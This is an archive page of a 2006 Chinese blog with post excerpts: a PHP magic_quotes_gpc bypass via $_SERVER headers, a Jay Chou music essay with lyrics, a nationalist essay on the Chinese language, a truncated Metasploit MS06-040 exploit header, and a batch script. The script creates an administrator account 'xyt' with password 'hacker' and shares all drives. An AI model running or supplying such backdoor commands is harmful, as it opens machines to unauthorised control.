Archive for 08月, 2006
-
Php5 GPC绕过缺陷
星期四, 08月 31st, 2006
在讨论具体的缺陷之前我们先来了解一点php安全方面的小东西。magic_quotes_gpc选项是php中的一个重要的安全设置,当该选项为ON也就是打开的时候,所有从GET,POST,COOKie传递过来的数据中的’,”, \,以及NULL等元字符都会被自动的加上\实现转义,这个选项使得Sql注入或者插入代码以及XSS中引入字符串或者改变程序流程变得困难,但是在php5中一些特殊变量的存在使得在某些情况下,还是会被恶意用户引入元字符到数据库以及程序中。
Php中的变量除了来源于$_GET,$_POST,$_Cookie的提交之外,还来源于$_SERVER,$_ENV, $_SESSION等等,其中$_ENV和$_SESSION我们又不能很方便的控制和自由提交,所以剩下一个$_SERVER变量。而$_SERVER变量包括的东西里除了来自服务器本身还有有很大一部分来源于用户提交的HTTP请求,如:
QUERY_STRING //用户GET方法提交时的查询字符串
HTTP_REFERER //用户请求的来源变量,在一些程序取得用户访问记录时用得比较多
HTTP_USER_AGENT //用户的浏览器类型,也用于用户的访问记录的取得
HTTP_HOST [...] -
我迷恋属于我们自己的中国风
星期四, 08月 31st, 2006
想象依然无限大 感觉依然说不完 音乐依然范特西
流行音乐必须走向娱乐化,这是市场的要求;可这并不代表流行音乐要走向庸俗化,虽
然这种倾向首先来源于受众品位的低级化。周杰伦的中国风,可以说是对流行音乐的一
种新的探索,如何将流行音乐做的不流俗,不无趣,却也迎合受众的喜好。周杰伦在教
会我们,用一种严肃的态度也可以作出好听的流行音乐。
一开始流行音乐借鉴西方古典,后来又转到借鉴黑人音乐。看看现在混乱的华语流行音
乐界,就可以发现我们的音乐已经走向了一种荒凉,一个死角。为什么我们不能发掘自
己的东西呢,那些有深层次内涵,有沉重积淀的东西呢?音乐有很多生机,关键在于音
乐人们的不断发现。周杰伦就是用自己的创造成就了自己,成就了中国风音乐。
在一个满街都是Hip-Hop的时代,我迷恋属于我们自己的中国风。
比起一群年青人在路边舞台又跳又唱的景象,我更喜欢坐在小小的剧院里,看着台上的服饰
庄重的演员,优雅的为我吟唱,《千里之外》。
一个艺人有很多的属性,周杰伦也是。而在周杰伦的众多属性中,我最喜欢他的中国风。
刚开始喜欢周杰伦的时候,爱听的是他的《开不了口》。那种将人们心中情悸心动唱的生
动的感觉,第一次听的时候我几乎快要浑身颤抖。
可惜,后来好久,周杰伦没有给我带来那样的激动。
只是在这样的时候,周杰伦开始了他自己的中国风的时代。我不知道他的“中国风”这个
词是自己的创造还是台湾人的常用语,只是觉得真的蛮能反映他所倡导的这种风格的音
乐。深沉,委婉,古典的气质,笑若嘴角微动,泣似秋叶飘落。不那么激进,不那么浮
躁。《东风破》,《发如雪》,很好听,很耐听。虽没有古人抚琴的联想,却使人很自然想
到了旧上海,旧侠客那些散发着浪漫茶香的年代。
然而,激动还是少了一些。直到这次的《千里之外》。
我送你离开,天涯之外,你是否还在?琴声何来,生死难猜,用一生,去等待。
第一次听这首歌,听到这两句的时候,我再次浑身颤抖。用物理学的解释,我的心在此
刻与音乐共鸣了。我最爱的那个周杰伦回来了,这次他用的是自己的中国风,《千里之外》。
旋律的唯美浪漫将一个传统意义上的中国式爱情娓娓道来,这样的爱情现在也许没有几
个人可以做到了,但依旧为我们所欣赏,依旧熏发着如迷香一般的美感,将我们每个听
众深深折服。当时代的进步印证着人心不古的脚步,当恋爱的速食主义如同快餐文化一
样席卷中华,周杰伦在一旁唱着,千里之外,用一生,去等待。我不敢说他是领先的,
是独特的,但至少他有他的思考,作为一个艺人,他不是唱歌的嗓子,他不是演戏的道
具。他是一个人。一个用自己的音乐讲述自己对中国理解的人。
小僵尸是为讽刺崇洋媚外
昨日的表演,除了新歌部分周杰伦唱老歌忘词比较多,灵活的他现场就开始编词,对此周董解释“我真正上台弹钢琴很少,所以上台后忘记了词,当然想到什么唱什么会比较即兴。”谈到小僵尸在MV中出现的原因,周董的解释更加好玩,“我觉得小僵尸比较可爱,那是一种民族意识,用这些讽刺一些崇洋媚外的人不是很好吗?”
[code]
《本草纲目》
曲:周杰伦 词:方文山
歌词
如果華佗在世
崇洋都被抑制
外邦來學漢字 發揮我民族意識
馬錢子 決明子 蒼耳子 該用蓮子
黃藥子 川楝子 我要面子
我的方式 改寫一部歷史
沒什麼別的事 就這麼跟著我諗幾個字
山藥 當歸 枸杞 GO 山藥 當歸 枸杞 GO
看我抓一把中藥 附加一點驕傲
練成什麼丹 捏成什麼丸
鹿茸切片不能太薄
老師傅的手法不能這樣亂抄
龜苓膏 雲南白藥 還有 冬蟲夏草
自己的音樂自己的藥 份量剛剛好
聽我說中藥苦
抄襲應該更苦
快翻看本草綱目多看一些本書
城蘇 地龍 已翻過江湖
這些老祖宗的辛苦 我們一定不能輸
(就是這個光 就是這個光 一起唱)
就是這個光 就是這個光
HEI
讓我調個小偏方
奇治你媚外的內傷
已札根千年的漢方
有別人不知道的力量
我表情悠哉 講個大慨
用書法書朝代 內力傳開
最氣捍正欑 搶一舉對白
依 小彊屍 講 小彊屍
又講 小彊屍 講小彊屍 念咒語哼!
[/code]
下载《本草纲目》MTV -
批处理
星期一, 08月 28th, 2006
@echo off
@attrib +s + r xyt.bat //这句话是 修改文件的属性
@net user xyt hacker /add //添加一个用户
@net localgroup administrators xyt /add // 把用户加到管理员组
@net share c$=c: //共享磁盘
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net [...] -
MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040)
星期日, 08月 27th, 2006
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always [...] -
以讲汉语为荣 以鄙视汉语为耻
星期四, 08月 24th, 2006
2006年7月5日的《中国青年报》发表了题为《学术会议按惯例使用英语,汉语将沦为科学看客》的文章。说的是在中国召开国际会议,工作语言一律用英语,汉语靠边站,让好多参加会议的中国人听不懂,没有到达学术交流的目的。文章举例说,两年前,在上海召开的“第四届全球华人物理学家大会”上,从印发的论文到演讲全是英语,部分海外华裔学者提出采用中英文双语,竟被组织者以国际惯例为由拒绝。
那次会上,美籍华裔诺贝尔奖得主丁肇中坚持用汉语作报告,倒成了一个百分百的华人。而那些土生土长的中国人到个个是“假洋鬼子”。文章感慨道:一个使用中国纳税人的钱财并在中国召开的会议,却要一律用英语进行交流,甚至,中国听众连翻译服务都无法享有,岂非咄咄怪事?
看罢,我气得差点吐了血!如果我是个不懂洋文的人,有人会认为我在“愤英”呢。我大学学了英语、法语,自学过世界语、西班牙语、葡萄牙语和日语,我的感觉是,世界上再没有比汉语更科学、有严谨、更高效的语言了。可不知道为什么,在全世界为中华民族的崛起而热切关注并出现了世界汉语热的今天,把汉语当作母语的人却在丑化汉语、排挤汉语,这难道不是忘祖么?
鸦片战争后,国人把中国的落后归咎于汉语文字上。瞿秋白说:“汉字真正是世界上最龌龊最恶劣最混蛋的中世纪的茅坑。” 鲁迅先生也愤慨地喊出:“汉字不灭,中国必亡!” 一代教育大师蔡元培感叹到:“汉字既然不能不改革,尽可直接的改用拉丁字母了。”中国语言学泰斗吕叔湘先生也很讨厌汉字:“现在通行的老宋体实在丑得可以,倒是外国印书的a,b,c,d,有时候还倒真有很美的字体呢。”伟大领袖毛泽东也发出号召:“走世界共同的拼音化道路。”
计算机的发明与普及,许多文学界的宗师们甚至提出“电子计算机汉字的掘墓人”。可一百多年过去了,汉字不但没灭,反而走出了国门,这个“中世纪的茅坑”在世界倒香了起来。当前,学习汉语的外国人达3000万,100多个国家的2300余所大学开设汉语课程,汉语进入美、英、法、日、韩等国的中小学课堂,法国教育部还专门设立了汉语总监一职。
我走访了世界十几个国家,发现没有任何一个民族像我们这样不热爱自己母语的,任何其他民族都认为自己的母语是世界上最优美的语言,可一些中国人就觉得汉语丑陋,见不得世面。法国人热爱自己的语言胜过爱自己的生命。多数人都知道都德的《最后一课》,有民族心、爱国心的人,不管是法国人还是中国人还是什么其他国家的人,读到着篇文章都会眼含热泪的。我想,世界许多国家会把此文选入他们的教材的。法国人一直爱着自己的语言。一次,我在巴黎陪美国来的一个朋友去一家旅行社办理旅游登记手续,朋友对接待小姐讲英语,可接待小姐讲法语,我不得不给朋友作翻译。显然,法国接待小姐是懂英文的,但就是不说:在我的地盘上,我做主,讲母语是民族的尊严。
俗话说“上行下效”,一个民族自尊心需要高层领导引导,法兰西民族之所以这么爱自己的语言,这与高官的“以身作则”分不开的。2006年3月23日,在布鲁塞尔开幕的欧盟春季首脑会议上,法国商界领袖塞埃在发言时开始讲法语,讲着讲着说开了英语,法国总统希拉克、外长杜斯特布拉齐以及财政部长布雷东愤然离开了会场以示抗议,直到塞埃发言完毕之后才返回会场。这要是发生在国人身上,领导也许要大力赞扬塞埃一番呢:你的英语very good!
法国规定,法国人在法国本土上举行的任何国际会议不准讲外语。包括进口商品在内的任何商品在法国销售,标签或说明必须用法语,否则就是违法,不得销售。这正和我们中国人的习性相反。国人喜欢看到商品标签或说明上的洋文,感觉自己消费这样的商品有品位、上档次。生产商也抓住了国人的这一消费心理,商标或说明总弄出几个洋字母,不会英文写汉语拼音也能把国人给蒙了。别说是商品,就是中央电视台这么重要的文化宣传工具也设法标上几个洋字母“CCTV”,显得自己就跟上了时代的步伐。
我在北京语言学院学习法语时,法国驻中国大使馆的文化处到学校来登记有多少学生学习法语,他们为每个学习法语的学生免费提供一本“拉鲁斯”法语字典,据说那一年法国对世界把法语作为非母语学习的人都免费赠送一本那样的字典。可见,法国人在世推广法语时是认真的,也是下本钱的。
各国都设法传播自己的语言,惟独我们瞧不起自己的语言,把外语比母语看得还重要。
现在中国的教育让学生学习英语花费的时间和金钱绝对超过任何一门课程!从幼儿园一路学到博士都是主课。英语过不了级就别拿学位证,真是咄咄怪事!考职称也要考英语,可他们的工作也许一辈子都用不到一个英语词!
有读者告诉我,她在大学里要加入共产党,结果辅导员告诉她不过英语四级不考虑。真是无奇不有,连入党也要过四级!
现在一些教育领导者又提出“双语教学”。上海市在全市中小学中推广双语教学,计划到2010年,上海市区主要的400多所中小学都要实行双语教学。据2006年6月27日《科学时报》报道,目前国内大学的中文专业也被倡导双语教学,并将成为教育部评估的重要方面。
2006年2月,教育部高教司将把“双语教学”的开展情况作为高校的一项指标来公布。我真不知道这些庸官是怎么想出这个馊主意的。他们可能说,人家外国人都能讲几种语言的,我们也要向他们学习,和国际接轨。这些人总拿接轨来掩饰自己执政能力的低下和无知。在欧洲,他们早就是开放国家,他们规定大学生要在欧盟(过去是欧共体)各国交换的。我在法国读书时住的学生公寓里,有欧盟许多国家的学生,他们都是交换学生,在本国学两年,然后再到另一个欧盟国家学两年。他们能讲几种外语,是他们的语言环境逼出来的。欧洲各国家很小,开车一天能转几个国家,而各国都有自己的语言,那个大环境就把他们的语言给“熏出来了”,没必要专门学习的。我认识一个同楼的女生,她母亲是中国广西人,父亲是越南人,她有5个姐姐,姐夫有法国人、柬埔寨人、美国人、英国人,他们家简直就是个小联合国,这样的环境下掌握几门语言是很自然的。我们中国能有这样的语言环境么?你开车跑一个星期见到的人都讲汉语,有几个家庭是有不同国籍的人组成的?所以,我们中国的英语教育浪费了国家大量资源,如果把学习英语的时间搞专业研究,肯定会出不少国际级的成果。
人类历史的发展给我们的经验是,一个国家要想成为世界强国,必须输出自己的语言。
葡萄牙曾是世界强国,把葡萄牙语带到了巴西、莫桑比克、安哥拉、几内亚比绍、圣多美和普林西比、佛得角和东帝汶等国家;西班牙曾是世界强国,把西班牙语带到了墨西哥、阿根廷、智利、秘鲁、哥伦比亚、委内瑞拉等国家;法国曾是世界强国,把法语带到了瑞士、比利时、卢森堡、摩纳哥、卢旺达、中非、多哥、几内亚、喀麦隆、贝宁等国家;英国曾是世界强国,把英语带到美国、加拿大、澳大利亚、新西兰、新加坡等国家。日本称霸东南亚时,也把日语带到了我国台湾和东北等大半个中国以及东南亚其他国家。现在倒好,洋人的“坚船利炮”还没来,倒是我们自己先缴械投降了,把人家的语言奉为神灵一样去恭敬、去崇拜、去鹦鹉学舌,把一个拥有5000年文明的泱泱大国自贬为洋人的“文化殖民地”。
那些喊汉语不科学的人是一种文化愚昧,他们要么不懂外语,要么不通汉语。事实证明,汉语是一种科学的语言,因为汉语的构词非常科学,构词能力也非常强。如:“松树”和“杨树”等词,即使你第一次见到这个词,也知道是一种树。而英文的“pine”和“poplar”,你不认识就不知道是什么东西。再如“汽车”和“火车”等词,一看就知道是一种交通工具,英文的“car”和“train”你不认识,也不知道这是何物。也许有人说,外语专业词汇不好翻译成汉语。其实不是不好翻译成汉语,而是你的汉语太糟糕了。任何复杂的英语词汇,都可以用简单的汉语翻译出来。如英语里有个很专业的医学词汇“pneumonoultramicroscopicsilicovolcanoconiosis”,好家伙,45个字母,像一条蜈蚣,这是什么东西?汉语很简单,是“肺尘病”,就是煤矿工人等经常在尘埃中工作的人,因吸入到肺里的尘埃沉积造成的疾病。你说是英语科学还是汉语科学?
汉字是象形文字,看汉语文件的时候时候你不需要在大脑里把看到的语言符号翻译成语音流就能直接理解。再有,汉字占的篇幅小,联合国的各种文件文本,汉语文本的页码最少,这样你就可以在单位时间里获得比拼音文字更多的信息。从1958年公布的《汉语拼音方案》到现在近半个世纪,也没有推广起来,因为那个方案不科学,特别没有考虑到汉语的发音特点。汉语普通话标记上声调也就只有1300多个音节,怎么能区分六万多个常用的词义呢?汉语拼音化根本无法实现,除了汉语字典、街道牌子还有一些“假洋鬼子”使用汉语拼音外,人们很难看到汉语拼音的痕迹。
语言是民族的命脉,是民族的凝聚力,是民族独立的象征。国家亡了可以复国,但语言灭了这个民族就永远不会在世界上找到立足之地。犹太民族在历史上遭受了这么多的苦难,现在它仍然是一个强大的民族,因为犹太人一直捍卫着自己的语言。吉普赛民族亡了,在世界找不到自己生存的地盘,就是因为他们没有留住自己的语言。现在是全民族起来挽救汉语的时候了。我们面临的不是外国语言入侵,而是自己人要背叛自己的语言,这比外国人的入侵更可怕。
建议在“八荣八耻”里在加上一荣一耻,那就是“以讲汉语为荣,以鄙视汉语为耻。”